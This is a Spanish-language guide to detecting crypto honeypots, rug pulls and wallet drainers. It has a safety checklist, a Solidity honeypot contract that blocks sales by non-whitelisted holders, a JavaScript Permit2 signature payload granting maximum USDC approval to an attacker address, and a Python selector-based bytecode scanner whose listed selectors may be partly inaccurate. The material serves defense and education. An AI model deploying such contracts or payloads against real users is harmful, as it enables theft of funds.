Cómo Detectar un Crypto Drainer y Rug Pull a Tiempo

1. Comparativa rápida: Honeypot vs. Rug Pull vs. Wallet Drainer

2. Checklist de seguridad paso a paso antes de comprar cualquier token

Paso 1: Escaneo automático del contrato

Pasa la dirección del token por Token Sniffer, la API de GoPlus Security y DEXScreener. Si DEXScreener muestra 800 transacciones de compra y literalmente cero ventas en una ventana de 4 horas, frena ahí mismo. Es un honeypot. Punto.

Paso 2: Duración del bloqueo de liquidez

Un equipo legítimo bloquea sus tokens de Liquidity Pool (LP) a través de protocolos como Uncx Network o PinkSale.

• Red Flag: La liquidez no está bloqueada, está en una EOA (Externally Owned Account) o está bloqueada por menos de 6 meses.
• Green Flag: Los tokens de LP están quemados (enviados a 0x000000000000000000000000000000000000dead) o bloqueados en un contrato verificable durante al menos un año.

Paso 3: Verificación de distribución y propiedad (Ownership)

Inspecciona la pestaña Holders en Etherscan o BscScan.

Si un puñado de wallets que no son de exchanges ni de quema (burn) controlan más del 5 al 10% del supply total, tú eres su exit liquidity. Además, revisa si se renunció a la propiedad del contrato (ownership renounced). Si no es así, el dueño puede modificar impuestos arbitrariamente, meter tu dirección en una lista negra (blacklist) o pausar las transferencias cuando se le dé la gana.

Paso 4: Auditoría de transacciones y firmas

Nunca firmes transacciones a ciegas (blind-signing). Los drainers de wallets modernos ya casi no piden transferencias directas de ETH; ahora abusan de firmas off-chain como EIP-712, Permit2 o EIP-2612 para saltarse los avisos de advertencia estándar de las wallets. Usa extensiones de simulación dinámica de transacciones para inspeccionar los cambios de estado antes de transmitir la transacción.

3. Análisis de seguridad a fondo y mecánica del código

Hablemos de la verdadera mecánica técnica. ¿Por qué los analizadores estáticos tradicionales no detectan los scams más sofisticados? Porque los estafadores escriben lógica sensible al contexto (context-aware).

A ver... ¿por qué la gente sigue pensando que la verificación de código en Etherscan garantiza seguridad? Me lo pregunto cada vez que alguien se queja de perder dinero en un proyecto "verificado". La verificación del código fuente solo prueba que el bytecode cargado en la EVM coincide con los archivos de Solidity enviados. ¡No dice absolutamente nada sobre si la lógica dentro de esos archivos es ética o maliciosa!

El truco del Honeypot: Gas-Griefing e impuestos dinámicos

Una técnica común de honeypot consiste en fijar fees estándar del 2% durante el despliegue inicial y luego subir la comisión al 99% dentro de la función _transfer() una vez que entra suficiente liquidez.

Peores aún son los honeypots dinámicos basados en gas-griefing:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/*
 * Mi réplica rápida generada por ingeniería inversa de la lógica de un honeypot que capturé en producción.
 * NO despliegues esto. Es puramente para análisis educativo.
 */
contract SneakyHoneypot {
    address private _owner;
    mapping(address => bool) private _isWhitelisted;
    mapping(address => uint256) private _balances;
    constructor() {
        _owner = msg.sender;
        _isWhitelisted[msg.sender] = true;
    }
    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal {
        require(_balances[from] >= amount, "ERC20: balance too low");
        // Si es una orden de venta (transferencia a la dirección del pair) y el remitente no está en la whitelist
        if (!_isWhitelisted[from] && !_isWhitelisted[to]) {
            // Truco: Quemar cantidades enormes de gas usando un bucle infinito o una asignación pesada de memoria
            // haciendo que la transacción del comprador falle con un error de "Out of Gas".
            assembly {
                let m := mload(0x40)
                mstore(m, 0xdeadbeef)
                // Quemar gas artificialmente en intentos de venta
                invalid()
            }
        }
        _balances[from] -= amount;
        _balances[to] += amount;
    }
}

¿Ves lo que pasa aquí? Cuando compras, todo sale bien. Pero en el momento en que ejecutas una llamada swapExactTokensForETH en Uniswap, el contrato verifica si tu wallet está en la whitelist. Si no lo está, ejecuta el opcode invalid() o un bucle infinito, consumiendo todo el gas asignado y revirtiendo la transacción con un error criptico. La mayoría de los usuarios retail asumen que "el slippage está muy bajo" y se rinden mientras el dev va drenando el pool poco a poco.

4. Cómo los Wallet Drainers evaden las defensas de Web3

Hablemos de los exploits con firmas off-chain, específicamente el abuso de Permit2 y EIP-712.

Las autorizaciones (allowances) tradicionales requieren que envíes una transacción on-chain llamando a approve(spender, amount). Esto cuesta gas y muestra una ventana emergente bastante clara en la interfaz de la wallet advirtiéndote sobre los permisos.

Los scripts de los drainers se saltan esto utilizando el estándar Permit2 de Uniswap o las aprobaciones EIP-2612. La dApp maliciosa te pide que firmes una cadena de datos aparentemente inofensiva usando la firma de tu wallet (eth_signTypedData_v4). Detrás de escena, esa firma digital le da al smart contract del atacante autorización explícita para transferir tus tokens ERC-20 o NFTs fuera de tu cuenta ¡sin requerir otra confirmación on-chain de tu parte!

// Muestra de payload malicioso construido por scripts de drainer
const domain = {
    name: 'Permit2',
    chainId: 1, // Mainnet
    verifyingContract: '0x000000000022D473030F116dDEE9F6B43aC78BA3' // Dirección oficial de Permit2 en Uniswap
};
const types = {
    PermitSingle: [
        { name: 'details', type: 'PermitDetails' },
        { name: 'spender', type: 'address' },
        { name: 'sigDeadline', type: 'uint256' }
    ],
    PermitDetails: [
        { name: 'token', type: 'address' },
        { name: 'amount', type: 'uint160' },
        { name: 'expiration', type: 'uint48' },
        { name: 'nonce', type: 'uint48' }
    ]
};
// El usuario cree que está iniciando sesión en un sitio, pero en realidad está autorizando el drenado de sus saldos de tokens:
const value = {
    details: {
        token: "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", // USDC
        amount: "1461501637330902918203684832716283019655932542975", // Valor máximo para uint160
        expiration: 2000000000,
        nonce: 0
    },
    spender: "0xMaliciousAttackerContractAddressHere...",
    sigDeadline: 2000000000
};

Si firmas este payload, el atacante toma esa firma off-chain, la envía él mismo al contrato de Permit2, paga la tarifa de gas y te roba tus USDC al instante.

0x40c10f19 -> mint(address,uint256)
0xbf8b0f72 -> enableTrading() / setTradingStatus(bool)
0x0283c741 -> setFee(uint256)
0xe47d6060 -> setBlacklist(address,bool)

# Fragmento de herramienta de seguridad interna para detectar firmas de funciones de alto riesgo en bytecode EVM no verificado.
# Escrito para comprobaciones automáticas rápidas durante investigaciones de smart contracts.
from web3 import Web3
# Conectar a un nodo RPC público
w3 = Web3(Web3.HTTPProvider('https://eth.llamarpc.com'))
# Selectores de funciones de 4 bytes de alto riesgo conocidos (hashes Keccak-256)
DANGEROUS_SELECTORS = {
    "0x40c10f19": "mint(address,uint256)",
    "0xe47d6060": "setBlacklist(address,bool)",
    "0x8a8c523c": "preventSell(address)",
    "0x70480932": "pauseTrading()"
}
def analyze_bytecode(contract_address: str):
    # Obtener el bytecode en crudo de la cadena
    code = w3.eth.get_code(Web3.to_checksum_address(contract_address)).hex()
    
    if code == '0x' or len(code) <= 2:
        print("[-] La dirección no tiene ningún código de contrato desplegado (EOA).")
        return
    print(f"[+] Analizando el bytecode de la EVM para: {contract_address}")
    
    found_flags = []
    for selector, func_name in DANGEROUS_SELECTORS.items():
        # Eliminar el prefijo '0x' para buscar en la cadena hexadecimal en crudo
        clean_selector = selector[2:]
        if clean_selector in code:
            found_flags.append(func_name)
    if found_flags:
        print("[!] ¡ALERTA DE BANDERA ROJA! Se han detectado funciones peligrosas en el bytecode:")
        for flag in found_flags:
            print(f"    - {flag}")
    else:
        print("[+] No se han detectado selectores de administración ocultos básicos en el escaneo estándar.")
# Ejemplo de uso con una dirección arbitraria
# analyze_bytecode("0x...")